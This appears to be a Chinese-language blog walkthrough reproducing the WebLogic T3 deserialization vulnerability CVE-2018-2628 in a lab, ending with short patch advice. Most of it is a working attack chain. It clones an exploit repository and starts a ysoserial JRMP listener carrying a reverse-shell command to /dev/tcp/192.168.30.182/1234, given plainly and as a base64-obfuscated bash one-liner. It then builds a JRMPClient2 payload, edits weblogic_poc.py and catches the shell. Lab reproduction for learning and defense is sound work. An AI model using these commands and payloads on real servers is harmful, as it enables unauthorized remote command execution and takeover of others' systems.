Weblogic反序列化命令执行漏洞(CVE-2018-2628)复现

目录

    • 0x01 漏洞介绍
    • 0x02 环境部署:
    • 0x03 漏洞复现
        • 1. 查看T3服务
        • 2. 下载检测漏洞脚本,并进行解压
        • 3. 设置所要检测的ip, 并运行脚本
        • 4. 启动JRMP Server
        • 5. 制作Payload
        • 6. 导入Payload并修改目的IP
        • 7. 进行监听端口1234
        • 8. 执行脚本weblogic_poc.py
        • 9. 反弹shell成功
    • 0x04 漏洞修复

0x01 漏洞介绍

  1. 漏洞描述
    Weblogic Server WLS Core Components反序列化命令执行漏洞(CVE-2018-2628),该漏洞通过T3协议触发,可导致未授权的用户在远程服务器执行任意命令

  2. 漏洞编号
    CVE-2018-2628

  3. 受影响版本
    Weblogic 10.3.6.0
    Weblogic 12.1.3.0
    Weblogic 12.2.1.2
    Weblogic 12.2.1.3

0x02 环境部署:

搭建一次,复现百次
靶机 ip:192.168.30.209
kali ip:192.168.30.182

0x03 漏洞复现

1. 查看T3服务

在kali上使用脚本weblogic-t3-info扫描目标主机是否开启T3服务
Weblogic反序列化命令执行漏洞(CVE-2018-2628)复现_第1张图片
从扫描结果可以看出目标主机已开启T3服务

2. 下载检测漏洞脚本,并进行解压

git clone https://codechina.csdn.net/mirrors/Lighird/CVE-2018-2628.git

Weblogic反序列化命令执行漏洞(CVE-2018-2628)复现_第2张图片
解压:

unrar x CVE-2018-2628.rar /root/CVE-2018-2628 

Weblogic反序列化命令执行漏洞(CVE-2018-2628)复现_第3张图片

3. 设置所要检测的ip, 并运行脚本

在这里插入图片描述
在这里插入图片描述

python CVE-2018-2628-MultiThreading.py 

Weblogic反序列化命令执行漏洞(CVE-2018-2628)复现_第4张图片
出现is vul CVE-2018-2628说明漏洞存在,接下来我们开始复现

4. 启动JRMP Server

目的是为了使得触发漏洞后weblogic所在服务器可以远程调用执行特定的程序

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
#[listen port]是需要JRMP Server监听的端口,这个端口的作用是为了让目的主机上weblogic进行远程调用kali方法时,可以连接到我们自己的主机
#[command]为要执行的命令

以下我们执行反弹shell命令,我们需要注意需要对执行的命令进行需要进行一次编码,因为 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法
编码网址
Weblogic反序列化命令执行漏洞(CVE-2018-2628)复现_第5张图片

#java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -i >& /dev/tcp/192.168.30.182/1234 0>&1'
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjE4Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'

Weblogic反序列化命令执行漏洞(CVE-2018-2628)复现_第6张图片
最后一行出现 * Opening JRMP listener on 8888,说明JRMP Server正在监听8888端口

5. 制作Payload

在kali上打开一个新终端,使用ysoserial-0.1-cve-2018-2628-all.jar工具生成一个payload,因为要实现weblogic远程调用kali方法,所以就需要知道kali主机的ip与端口

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.30.182:8888 | xxd -p | tr -d $'\n' && echo

Weblogic反序列化命令执行漏洞(CVE-2018-2628)复现_第7张图片

6. 导入Payload并修改目的IP

将weblogic_poc.py中的使用的payload替换为我们刚刚生成的payload,并且将目标ip

vim weblogic_poc.py

在这里插入图片描述
Weblogic反序列化命令执行漏洞(CVE-2018-2628)复现_第8张图片
Weblogic反序列化命令执行漏洞(CVE-2018-2628)复现_第9张图片

7. 进行监听端口1234

Weblogic反序列化命令执行漏洞(CVE-2018-2628)复现_第10张图片

8. 执行脚本weblogic_poc.py

Weblogic反序列化命令执行漏洞(CVE-2018-2628)复现_第11张图片

9. 反弹shell成功

Weblogic反序列化命令执行漏洞(CVE-2018-2628)复现_第12张图片

0x04 漏洞修复

  1. 官方补丁:T3协议漏洞加固的话可以打上官方最新的补丁,可使用正版软件许可账户登录 https://support.oracle.com,下载最新补丁。
  2. 手工修复:控制T3协议的访问权限来临时阻断漏洞利用。

你可能感兴趣的:(vulhub漏洞复现,linux,安全漏洞,网络安全)